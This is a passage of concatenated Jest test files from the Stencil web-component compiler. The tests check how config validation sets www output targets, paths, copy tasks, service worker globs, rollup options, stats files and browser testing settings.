validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toEqual([ { appDir: join(rootDir, 'www', 'docs'), baseUrl: '/', buildDir: join(rootDir, 'www', 'docs', 'build'), dir: join(rootDir, 'www', 'docs'), empty: true, indexHtml: join(rootDir, 'www', 'docs', 'index.html'), polyfills: true, serviceWorker: { dontCacheBustURLsMatching: /p-\w{8}/, globDirectory: join(rootDir, 'www', 'docs'), globIgnores: [ '**/host.config.json', '**/*.system.entry.js', '**/*.system.js', '**/app.js', '**/app.esm.js', '**/app.css', ], globPatterns: ['*.html', '**/*.{js,css,json}'], swDest: join(rootDir, 'www', 'docs', 'sw.js'), }, type: 'www', }, { dir: join(rootDir, 'www', 'docs', 'build'), esmDir: join(rootDir, 'www', 'docs', 'build'), isBrowserBuild: true, polyfills: true, systemDir: undefined, systemLoaderFile: undefined, type: 'dist-lazy', }, { copyAssets: 'dist', dir: join(rootDir, 'www', 'docs', 'build'), type: 'copy', }, { copy: [ { src: 'assets', warn: false, }, { src: 'manifest.json', warn: false, }, ], dir: join(rootDir, 'www', 'docs'), type: 'copy', }, { file: join(rootDir, 'www', 'docs', 'build', 'app.css'), type: 'dist-global-styles', }, ]); }); it('should www with sub directory', () => { const outputTarget: d.OutputTargetWww = { type: 'www', // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) for their input dir: path.join('www', 'docs'), }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const www = config.outputTargets.find(isOutputTargetWww) as d.OutputTargetWww; expect(www.dir).toBe(join(rootDir, 'www', 'docs')); expect(www.appDir).toBe(join(rootDir, 'www', 'docs')); expect(www.buildDir).toBe(join(rootDir, 'www', 'docs', 'build')); expect(www.indexHtml).toBe(join(rootDir, 'www', 'docs', 'index.html')); }); it('should set www values', () => { const outputTarget: d.OutputTargetWww = { type: 'www', dir: 'my-www', buildDir: 'my-build', indexHtml: 'my-index.htm', empty: false, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const www = config.outputTargets.find(isOutputTargetWww) as d.OutputTargetWww; expect(www.type).toBe('www'); expect(www.dir).toBe(join(rootDir, 'my-www')); expect(www.buildDir).toBe(join(rootDir, 'my-www', 'my-build')); expect(www.indexHtml).toBe(join(rootDir, 'my-www', 'my-index.htm')); expect(www.empty).toBe(false); }); it('should default to add www when outputTargets is undefined', () => { const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets).toHaveLength(5); const outputTarget = config.outputTargets.find(isOutputTargetWww) as d.OutputTargetWww; expect(outputTarget.dir).toBe(join(rootDir, 'www')); expect(outputTarget.buildDir).toBe(join(rootDir, 'www', 'build')); expect(outputTarget.indexHtml).toBe(join(rootDir, 'www', 'index.html')); expect(outputTarget.empty).toBe(true); }); describe('baseUrl', () => { it('baseUrl does not end with / with dir set', () => { const outputTarget: d.OutputTargetWww = { type: 'www', dir: 'my-www', baseUrl: '/docs', }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const www = config.outputTargets.find(isOutputTargetWww) as d.OutputTargetWww; expect(www.type).toBe('www'); expect(www.dir).toBe(join(rootDir, 'my-www')); expect(www.baseUrl).toBe('/docs/'); expect(www.appDir).toBe(join(rootDir, 'my-www/docs')); expect(www.buildDir).toBe(join(rootDir, 'my-www', 'docs', 'build')); expect(www.indexHtml).toBe(join(rootDir, 'my-www', 'docs', 'index.html')); }); it('baseUrl does not end with /', () => { const outputTarget: d.OutputTargetWww = { type: 'www', baseUrl: '/docs', }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const www = config.outputTargets.find(isOutputTargetWww) as d.OutputTargetWww; expect(www.type).toBe('www'); expect(www.dir).toBe(join(rootDir, 'www')); expect(www.baseUrl).toBe('/docs/'); expect(www.appDir).toBe(join(rootDir, 'www/docs')); expect(www.buildDir).toBe(join(rootDir, 'www', 'docs', 'build')); expect(www.indexHtml).toBe(join(rootDir, 'www', 'docs', 'index.html')); }); it('baseUrl is a full url', () => { const outputTarget: d.OutputTargetWww = { type: 'www', baseUrl: 'https://example.com/docs', }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const www = config.outputTargets.find(isOutputTargetWww) as d.OutputTargetWww; expect(www.type).toBe('www'); expect(www.dir).toBe(join(rootDir, 'www')); expect(www.baseUrl).toBe('https://example.com/docs/'); expect(www.appDir).toBe(join(rootDir, 'www/docs')); expect(www.buildDir).toBe(join(rootDir, 'www', 'docs', 'build')); expect(www.indexHtml).toBe(join(rootDir, 'www', 'docs', 'index.html')); }); }); describe('copy', () => { it('should add copy tasks', () => { const outputTarget: d.OutputTargetWww = { type: 'www', // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) for their input dir: path.join('www', 'docs'), copy: [ { src: 'index-modules.html', dest: 'index-2.html', }, ], }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const copyTargets = config.outputTargets.filter(isOutputTargetCopy); expect(copyTargets).toEqual([ { copyAssets: 'dist', dir: join(rootDir, 'www', 'docs', 'build'), type: 'copy', }, { copy: [ { dest: 'index-2.html', src: 'index-modules.html', }, { src: 'assets', warn: false, }, { src: 'manifest.json', warn: false, }, ], dir: join(rootDir, 'www', 'docs'), type: 'copy', }, ]); }); it('should replace copy tasks', () => { const outputTarget: d.OutputTargetWww = { type: 'www', // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) for their input dir: path.join('www', 'docs'), copy: [ { src: 'assets', dest: 'assets2', }, ], }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const copyTargets = config.outputTargets.filter(isOutputTargetCopy); expect(copyTargets).toEqual([ { copyAssets: 'dist', dir: join(rootDir, 'www', 'docs', 'build'), type: 'copy', }, { copy: [ { dest: 'assets2', src: 'assets', }, { src: 'manifest.json', warn: false, }, ], dir: join(rootDir, 'www', 'docs'), type: 'copy', }, ]); }); it('should disable copy tasks', () => { const outputTarget: d.OutputTargetWww = { type: 'www', // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) for their input dir: path.join('www', 'docs'), copy: null, }; userConfig.outputTargets = [outputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const copyTargets = config.outputTargets.filter(isOutputTargetCopy); expect(copyTargets).toEqual([ { copyAssets: 'dist', dir: join(rootDir, 'www', 'docs', 'build'), type: 'copy', }, { copy: [], dir: join(rootDir, 'www', 'docs'), type: 'copy', }, ]); }); }); describe('dist-hydrate-script', () => { it('should not add hydrate by default', () => { const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets.some((o) => o.type === 'dist-hydrate-script')).toBe(false); expect(config.outputTargets.some((o) => o.type === 'www')).toBe(true); }); it('should not add hydrate with user www', () => { const wwwOutputTarget: d.OutputTargetWww = { type: 'www', }; userConfig.outputTargets = [wwwOutputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets.some((o) => o.type === 'dist-hydrate-script')).toBe(false); expect(config.outputTargets.some((o) => o.type === 'www')).toBe(true); }); it('should add hydrate with user hydrate and www outputs', () => { const wwwOutputTarget: d.OutputTargetWww = { type: 'www', }; const hydrateOutputTarget: d.OutputTargetHydrate = { type: 'dist-hydrate-script', }; userConfig.outputTargets = [wwwOutputTarget, hydrateOutputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets.some((o) => o.type === 'dist-hydrate-script')).toBe(true); expect(config.outputTargets.some((o) => o.type === 'www')).toBe(true); }); it('should add hydrate with --prerender flag', () => { userConfig.flags = { ...flags, prerender: true }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets.some((o) => o.type === 'dist-hydrate-script')).toBe(true); expect(config.outputTargets.some((o) => o.type === 'www')).toBe(true); }); it('should add hydrate with --ssr flag', () => { userConfig.flags = { ...flags, ssr: true }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets.some((o) => o.type === 'dist-hydrate-script')).toBe(true); expect(config.outputTargets.some((o) => o.type === 'www')).toBe(true); }); it('should add externals and defaults', () => { const hydrateOutputTarget: d.OutputTargetHydrate = { type: 'dist-hydrate-script', external: ['lodash', 'left-pad'], }; userConfig.outputTargets = [hydrateOutputTarget]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const o = config.outputTargets.find(isOutputTargetHydrate) as d.OutputTargetHydrate; expect(o.external).toContain('lodash'); expect(o.external).toContain('left-pad'); expect(o.external).toContain('fs'); expect(o.external).toContain('path'); expect(o.external).toContain('crypto'); }); it('should add node builtins to external by default', () => { userConfig.flags = { ...flags, prerender: true }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const o = config.outputTargets.find(isOutputTargetHydrate) as d.OutputTargetHydrate; expect(o.external).toContain('fs'); expect(o.external).toContain('path'); expect(o.external).toContain('crypto'); }); }); }); ================================================ FILE: src/compiler/config/test/validate-paths.spec.ts ================================================ import type * as d from '@stencil/core/declarations'; import { mockCompilerSystem, mockLoadConfigInit, mockLogger } from '@stencil/core/testing'; import { join } from '@utils'; import path from 'path'; import { validateConfig } from '../validate-config'; describe('validatePaths', () => { let userConfig: d.Config; const logger = mockLogger(); const sys = mockCompilerSystem(); // use Node's resolve() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) const ROOT = path.resolve('/'); beforeEach(() => { userConfig = { sys: sys as any, logger: logger, // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) for their input rootDir: path.join(ROOT, 'User', 'my-app'), namespace: 'Testing', }; }); it('should set absolute cacheDir', () => { // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) for their input userConfig.cacheDir = path.join(ROOT, 'some', 'custom', 'cache'); const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.cacheDir).toBe(join(ROOT, 'some', 'custom', 'cache')); }); it('should set relative cacheDir', () => { userConfig.cacheDir = 'custom-cache'; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.cacheDir).toBe(join(ROOT, 'User', 'my-app', 'custom-cache')); }); it('should set default cacheDir', () => { const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.cacheDir).toBe(join(ROOT, 'User', 'my-app', '.stencil')); }); it('should set default wwwIndexHtml and convert to absolute path', () => { const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(path.basename((config.outputTargets as d.OutputTargetWww[])[0].indexHtml!)).toBe('index.html'); expect(path.isAbsolute((config.outputTargets as d.OutputTargetWww[])[0].indexHtml!)).toBe(true); }); it('should convert a custom wwwIndexHtml to absolute path', () => { userConfig.outputTargets = [ { type: 'www', // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) for their input indexHtml: path.join('assets', 'custom-index.html'), }, ] as d.OutputTargetWww[]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(path.basename((config.outputTargets as d.OutputTargetWww[])[0].indexHtml!)).toBe('custom-index.html'); expect(path.isAbsolute((config.outputTargets as d.OutputTargetWww[])[0].indexHtml!)).toBe(true); }); it('should set default indexHtmlSrc and convert to absolute path', () => { const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(path.basename(config.srcIndexHtml)).toBe('index.html'); expect(path.isAbsolute(config.srcIndexHtml)).toBe(true); }); it('should set emptyDist to false', () => { userConfig.outputTargets = [ { type: 'www', empty: false, }, ] as d.OutputTargetWww[]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect((config.outputTargets as d.OutputTargetWww[])[0].empty).toBe(false); }); it('should set default emptyWWW to true', () => { const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect((config.outputTargets as d.OutputTargetWww[])[0].empty).toBe(true); }); it('should set emptyWWW to false', () => { userConfig.outputTargets = [ { type: 'www', empty: false, }, ] as d.OutputTargetWww[]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect((config.outputTargets as d.OutputTargetWww[])[0].empty).toBe(false); }); it('should set default collection dir and convert to absolute path', () => { userConfig.outputTargets = [ { type: 'dist', }, ]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(path.basename((config.outputTargets as d.OutputTargetDist[])[0].collectionDir!)).toBe('collection'); expect(path.isAbsolute((config.outputTargets as d.OutputTargetDist[])[0].collectionDir!)).toBe(true); }); it('should set default types dir and convert to absolute path', () => { userConfig.outputTargets = [ { type: 'dist', }, ]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(path.basename((config.outputTargets as d.OutputTargetDist[])[0].typesDir!)).toBe('types'); expect(path.isAbsolute((config.outputTargets as d.OutputTargetDist[])[0].typesDir!)).toBe(true); }); it('should set default build dir and convert to absolute path', () => { const { config } = validateConfig(userConfig, mockLoadConfigInit()); // the path will be normalized by Stencil us use '/', split on that regardless of platform const parts = (config.outputTargets as d.OutputTargetDist[])[0].buildDir!.split('/'); expect(parts[parts.length - 1]).toBe('build'); expect(parts[parts.length - 2]).toBe('www'); expect(path.isAbsolute((config.outputTargets as d.OutputTargetDist[])[0].buildDir!)).toBe(true); }); it('should set build dir w/ custom www', () => { userConfig.outputTargets = [ { type: 'www', dir: 'custom-www', }, ] as d.OutputTargetWww[]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); // the path will be normalized by Stencil us use '/', split on that regardless of platform const parts = (config.outputTargets as d.OutputTargetDist[])[0].buildDir!.split('/'); expect(parts[parts.length - 1]).toBe('build'); expect(parts[parts.length - 2]).toBe('custom-www'); expect(path.isAbsolute((config.outputTargets as d.OutputTargetDist[])[0].buildDir!)).toBe(true); }); it('should set default src dir and convert to absolute path', () => { const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(path.basename(config.srcDir)).toBe('src'); expect(path.isAbsolute(config.srcDir)).toBe(true); }); it('should set src dir and convert to absolute path', () => { userConfig.srcDir = 'app'; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(path.basename(config.srcDir)).toBe('app'); expect(path.isAbsolute(config.srcDir)).toBe(true); }); it('should convert globalScript to absolute path, if a globalScript property was provided', () => { // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) for their input userConfig.globalScript = path.join('src', 'global', 'index.ts'); const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(path.basename(config.globalScript!)).toBe('index.ts'); expect(path.isAbsolute(config.globalScript!)).toBe(true); }); it('should convert globalStyle string to absolute path array, if a globalStyle property was provided', () => { // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) for their input userConfig.globalStyle = path.join('src', 'global', 'styles.css'); const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(path.basename(config.globalStyle!)).toBe('styles.css'); expect(path.isAbsolute(config.globalStyle!)).toBe(true); }); }); ================================================ FILE: src/compiler/config/test/validate-rollup-config.spec.ts ================================================ import type * as d from '@stencil/core/declarations'; import { validateRollupConfig } from '../validate-rollup-config'; describe('validateStats', () => { let config: d.Config; beforeEach(() => { config = {}; }); it('should use default if no config provided', () => { const rollupConfig = validateRollupConfig(config); expect(rollupConfig).toEqual({ inputOptions: {}, outputOptions: {}, }); }); it('should set based on inputOptions if provided', () => { config.rollupConfig = { inputOptions: { context: 'window', }, }; const rollupConfig = validateRollupConfig(config); expect(rollupConfig).toEqual({ inputOptions: { context: 'window', }, outputOptions: {}, }); }); it('should use default if inputOptions is not provided but outputOptions is', () => { config.rollupConfig = { outputOptions: { globals: { jquery: '$', }, }, }; const rollupConfig = validateRollupConfig(config); expect(rollupConfig).toEqual({ inputOptions: {}, outputOptions: { globals: { jquery: '$', }, }, }); }); it('should pass all valid config data through and not those that are extraneous', () => { config.rollupConfig = { inputOptions: { context: 'window', external: 'external_symbol', notAnOption: {}, }, outputOptions: { globals: { jquery: '$', }, }, } as d.RollupConfig; const rollupConfig = validateRollupConfig(config); expect(rollupConfig).toEqual({ inputOptions: { context: 'window', external: 'external_symbol', }, outputOptions: { globals: { jquery: '$', }, }, }); }); }); ================================================ FILE: src/compiler/config/test/validate-service-worker.spec.ts ================================================ import type * as d from '@stencil/core/declarations'; import { OutputTargetWww } from '@stencil/core/declarations'; import { mockCompilerSystem, mockLogger, mockValidatedConfig } from '@stencil/core/testing'; import { createConfigFlags } from '../../../cli/config-flags'; import { validateServiceWorker } from '../validate-service-worker'; describe('validateServiceWorker', () => { let config: d.ValidatedConfig; let outputTarget: d.OutputTargetWww; beforeEach(() => { config = mockValidatedConfig({ devMode: false, flags: createConfigFlags(), fsNamespace: 'app', hydratedFlag: null, logger: mockLogger(), outputTargets: [], packageJsonFilePath: '/package.json', rootDir: '/', sys: mockCompilerSystem(), testing: {}, transformAliasedImportPaths: true, }); }); /** * A little util to work around a typescript annoyance. Because * `outputTarget.serviceWorker` is typed as * `serviceWorker?: ServiceWorkerConfig | null | false;` we get type errors * all over if we try to just access it directly. So instead, do a little * check to see if it's falsy. If not, we return it, and if it is we fail the test. * * @param target the output target from which we want to pull the serviceWorker * @returns a serviceWorker object or `void`, with a `void` return being * accompanied by a manually-triggered test failure. */ function getServiceWorker(target: OutputTargetWww) { if (target.serviceWorker) { return target.serviceWorker; } else { throw new Error('the serviceWorker on the provided target was unexpectedly falsy, so this test needs to fail!'); } } it('should add host.config.json to globIgnores', () => { outputTarget = { type: 'www', appDir: '/User/me/app/www/', }; validateServiceWorker(config, outputTarget); expect(getServiceWorker(outputTarget).globIgnores).toContain('**/host.config.json'); }); it('should set globIgnores from string', () => { outputTarget = { type: 'www', appDir: '/User/me/app/www/', serviceWorker: { globIgnores: '**/some-file.js', }, }; validateServiceWorker(config, outputTarget); expect(getServiceWorker(outputTarget).globIgnores).toContain('**/some-file.js'); }); it('should set globDirectory', () => { outputTarget = { type: 'www', appDir: '/User/me/app/www/', serviceWorker: { globDirectory: '/custom/www', }, }; validateServiceWorker(config, outputTarget); expect(getServiceWorker(outputTarget).globDirectory).toBe('/custom/www'); }); it('should set default globDirectory', () => { outputTarget = { type: 'www', appDir: '/User/me/app/www/', }; validateServiceWorker(config, outputTarget); expect(getServiceWorker(outputTarget).globDirectory).toBe('/User/me/app/www/'); }); it('should set globPatterns array', () => { outputTarget = { type: 'www', appDir: '/www', serviceWorker: { globPatterns: ['**/*.{png,svg}'], }, }; validateServiceWorker(config, outputTarget); expect(getServiceWorker(outputTarget).globPatterns).toEqual(['**/*.{png,svg}']); }); it('should set globPatterns string', () => { outputTarget = { type: 'www', appDir: '/www', serviceWorker: { globPatterns: '**/*.{png,svg}' as any, }, }; validateServiceWorker(config, outputTarget); expect(getServiceWorker(outputTarget).globPatterns).toEqual(['**/*.{png,svg}']); }); it('should create default globPatterns', () => { outputTarget = { type: 'www', appDir: '/www', }; validateServiceWorker(config, outputTarget); expect(getServiceWorker(outputTarget).globPatterns).toEqual(['*.html', '**/*.{js,css,json}']); }); it('should create default sw config when www type and prod mode', () => { outputTarget = { type: 'www', appDir: '/www', }; validateServiceWorker(config, outputTarget); expect(outputTarget.serviceWorker).not.toBe(null); }); it('should not create default sw config when www type and devMode', () => { outputTarget = { type: 'www', appDir: '/www', }; config.devMode = true; validateServiceWorker(config, outputTarget); expect(outputTarget.serviceWorker).toBe(null); }); it('should create default sw config when true boolean, even if devMode', () => { outputTarget = { type: 'www', appDir: '/www', serviceWorker: true as any, }; config.devMode = true; validateServiceWorker(config, outputTarget); expect(outputTarget.serviceWorker).not.toBe(true); }); it('should not create sw config when in devMode', () => { outputTarget = { type: 'www', appDir: '/www', serviceWorker: true as any, }; config.devMode = true; validateServiceWorker(config, outputTarget); expect(outputTarget.serviceWorker).toBe(null); }); it('should create sw config when in devMode if flag serviceWorker', () => { outputTarget = { type: 'www', appDir: '/www', serviceWorker: true as any, }; config.devMode = true; config.flags.serviceWorker = true; validateServiceWorker(config, outputTarget); expect(outputTarget.serviceWorker).not.toBe(null); }); it('should stay null', () => { outputTarget = { type: 'www', serviceWorker: null, }; validateServiceWorker(config, outputTarget); expect(outputTarget.serviceWorker).toBe(null); }); it('should stay false', () => { outputTarget = { type: 'www', serviceWorker: false, }; validateServiceWorker(config, outputTarget); expect(outputTarget.serviceWorker).toBe(false); }); }); ================================================ FILE: src/compiler/config/test/validate-stats.spec.ts ================================================ import type * as d from '@stencil/core/declarations'; import { mockConfig, mockLoadConfigInit } from '@stencil/core/testing'; import { validateConfig } from '../validate-config'; describe('validateStats', () => { let userConfig: d.Config; beforeEach(() => { userConfig = mockConfig(); }); it('adds stats from flags, w/ no outputTargets', () => { // the flags field is expected to have been set by the mock creation function for unvalidated configs, hence the // bang operator userConfig.flags!.stats = true; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const o = config.outputTargets.find((o) => o.type === 'stats') as d.OutputTargetStats; expect(o).toBeDefined(); expect(o.file).toContain('stencil-stats.json'); }); it('uses stats config, custom path', () => { userConfig.outputTargets = [ { type: 'stats', file: 'custom-path.json', } as d.OutputTargetStats, ]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const o = config.outputTargets.find((o) => o.type === 'stats') as d.OutputTargetStats; expect(o).toBeDefined(); expect(o.file).toContain('custom-path.json'); }); it('uses stats config, defaults file', () => { userConfig.outputTargets = [ { type: 'stats', }, ]; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const o = config.outputTargets.find((o) => o.type === 'stats') as d.OutputTargetStats; expect(o).toBeDefined(); expect(o.file).toContain('stencil-stats.json'); }); it('default no stats', () => { const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.outputTargets.some((o) => o.type === 'stats')).toBe(false); }); it('adds stats from flags with custom path string', () => { // Test --stats dist/stats.json behavior userConfig.flags!.stats = 'dist/custom-stats.json'; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const o = config.outputTargets.find((o) => o.type === 'stats') as d.OutputTargetStats; expect(o).toBeDefined(); expect(o.file).toContain('dist/custom-stats.json'); }); it('adds stats from flags with custom path (absolute)', () => { // Test --stats /tmp/stats.json behavior userConfig.flags!.stats = '/tmp/absolute-stats.json'; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const o = config.outputTargets.find((o) => o.type === 'stats') as d.OutputTargetStats; expect(o).toBeDefined(); expect(o.file).toBe('/tmp/absolute-stats.json'); }); it('flags stats path takes precedence over default when no outputTarget', () => { // When --stats has a path, it should be used instead of the default userConfig.flags!.stats = 'custom-location/stats.json'; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const o = config.outputTargets.find((o) => o.type === 'stats') as d.OutputTargetStats; expect(o).toBeDefined(); expect(o.file).toContain('custom-location/stats.json'); expect(o.file).not.toContain('stencil-stats.json'); }); it('does not override existing stats outputTarget when flag has path', () => { // When there's already a stats outputTarget in config, flag should not add another userConfig.outputTargets = [ { type: 'stats', file: 'config-defined.json', } as d.OutputTargetStats, ]; userConfig.flags!.stats = 'flag-defined.json'; const { config } = validateConfig(userConfig, mockLoadConfigInit()); const statsTargets = config.outputTargets.filter((o) => o.type === 'stats'); expect(statsTargets.length).toBe(1); expect(statsTargets[0].file).toContain('config-defined.json'); }); }); ================================================ FILE: src/compiler/config/test/validate-testing.spec.ts ================================================ import type * as d from '@stencil/core/declarations'; import { mockCompilerSystem, mockLoadConfigInit, mockLogger } from '@stencil/core/testing'; import { join } from '@utils'; import path from 'path'; import { ConfigFlags, createConfigFlags } from '../../../cli/config-flags'; import { validateConfig } from '../validate-config'; describe('validateTesting', () => { // use Node's resolve() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) const ROOT = path.resolve('/'); const sys = mockCompilerSystem(); const logger = mockLogger(); let userConfig: d.Config; let flags: ConfigFlags; beforeEach(() => { flags = createConfigFlags(); userConfig = { sys: sys as any, logger: logger, // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) for their input rootDir: path.join(ROOT, 'User', 'some', 'path'), srcDir: path.join(ROOT, 'User', 'some', 'path', 'src'), flags, namespace: 'Testing', // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) for their input configPath: path.join(ROOT, 'User', 'some', 'path', 'stencil.config.ts'), }; userConfig.outputTargets = [ { type: 'www', // use Node's join() here to simulate a user using either Win/Posix separators (depending on the platform these // tests are run on) for their input dir: path.join(ROOT, 'www'), } as any as d.OutputTargetStats, ]; }); describe('no testing flags', () => { it('returns an empty testing config when no testing config nor testing flags are provided', () => { userConfig.flags = { ...flags, e2e: false, spec: false }; delete userConfig.testing; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing).toEqual({}); }); it('returns the provided testing config when neither testing flag is provided', () => { const testingConfig: d.TestingConfig = { bail: false, }; userConfig.flags = { ...flags, e2e: false, spec: false }; userConfig.testing = testingConfig; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing).toEqual(testingConfig); }); }); describe('browserHeadless', () => { const originalCI = process.env.CI; beforeEach(() => { delete process.env.CI; }); afterEach(() => { process.env.CI = originalCI; }); describe("using 'headless' value from cli", () => { it.each([false, 'shell'])('sets browserHeadless to %s', (headless) => { userConfig.flags = { ...flags, e2e: true, headless }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.browserHeadless).toBe(headless); }); it('throws if browser headless is set to deprecated value `true`', () => { userConfig.flags = { ...flags, e2e: true, headless: true }; expect(() => validateConfig(userConfig, mockLoadConfigInit())).toThrow( 'Setting "browserHeadless" config to `true` is not supported anymore, please set it to "shell"!', ); }); it('defaults to "shell" outside of CI', () => { userConfig.flags = { ...flags, e2e: true }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.browserHeadless).toBe('shell'); }); }); describe('with ci enabled', () => { it("forces using the shell headless mode when 'headless: false'", () => { userConfig.flags = { ...flags, ci: true, e2e: true, headless: false }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.browserHeadless).toBe('shell'); }); it('allows the shell headless mode to be used', () => { userConfig.flags = { ...flags, ci: true, e2e: true, headless: 'shell' }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.browserHeadless).toBe('shell'); }); }); describe('`testing` configuration', () => { beforeEach(() => { userConfig.flags = { ...flags, e2e: true, headless: undefined }; }); it.each([false, 'shell'])( 'uses %s browserHeadless mode from testing config', (browserHeadlessValue) => { userConfig.testing = { browserHeadless: browserHeadlessValue }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.browserHeadless).toBe(browserHeadlessValue); }, ); it('throws if browser headless is set to deprecated value `true`', () => { userConfig.testing = { browserHeadless: true }; expect(() => validateConfig(userConfig, mockLoadConfigInit())).toThrow( 'Setting "browserHeadless" config to `true` is not supported anymore, please set it to "shell"!', ); }); it('defaults the headless mode to "shell" when browserHeadless is not provided', () => { userConfig.testing = {}; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.browserHeadless).toBe('shell'); }); }); }); describe('devTools', () => { const originalCI = process.env.CI; beforeEach(() => { delete process.env.CI; }); afterEach(() => { process.env.CI = originalCI; }); it('ignores devTools settings if CI is enabled', () => { userConfig.flags = { ...flags, ci: true, devtools: true, e2e: true }; userConfig.testing = {}; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.browserDevtools).toBeUndefined(); }); it('sets browserDevTools to true when the devtools flag is set', () => { userConfig.flags = { ...flags, devtools: true, e2e: true }; userConfig.testing = {}; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.browserDevtools).toBe(true); // browserHeadless must be false to enabled dev tools (which are headful by definition) expect(config.testing.browserHeadless).toBe(false); }); it("sets browserDevTools to true when set in a project's config", () => { userConfig.flags = { ...flags, devtools: false, e2e: true }; userConfig.testing = { browserDevtools: true }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.browserDevtools).toBe(true); // browserHeadless must be false to enabled dev tools (which are headful by definition) expect(config.testing.browserHeadless).toBe(false); }); }); describe('browserWaitUntil', () => { it('sets the default to "load" if no value is provided', () => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = {}; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.browserWaitUntil).toBe('load'); }); it('does not override a provided value', () => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { browserWaitUntil: 'domcontentloaded', }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.browserWaitUntil).toBe('domcontentloaded'); }); }); describe('browserArgs', () => { const originalCI = process.env.CI; beforeEach(() => { delete process.env.CI; }); afterEach(() => { process.env.CI = originalCI; }); it('does not add duplicate default fields', () => { userConfig.flags = { ...flags, e2e: true }; userConfig.testing = { browserArgs: ['--unique', '--font-render-hinting=medium'], }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.browserArgs).toEqual(['--unique', '--font-render-hinting=medium', '--incognito']); }); describe('adds default browser args', () => { const originalCI = process.env.CI; beforeAll(() => { delete process.env.CI; }); afterAll(() => { process.env.CI = originalCI; }); it('adds default browser args when not in CI', () => { userConfig.flags = { ...flags, e2e: true }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.browserArgs).toEqual(['--font-render-hinting=medium', '--incognito']); }); }); it("adds additional browser args when the 'ci' flag is set", () => { userConfig.flags = { ...flags, ci: true, e2e: true }; const { config } = validateConfig(userConfig, mockLoadConfigInit()); expect(config.testing.browserArgs).toEqual([ '--font-render-hinting=medium', '--incognito', '--no-sandbox', '--disable-setuid-sandbox', '--disable-dev-shm-usage', ]); }); describe('adds additional browser args when process.env.CI is set', () => { const originalCI = process.env.CI; beforeAll(() => { process.env.CI = 'true'; }); afterAll(() => { process.env.CI = originalCI; }); it('adds default 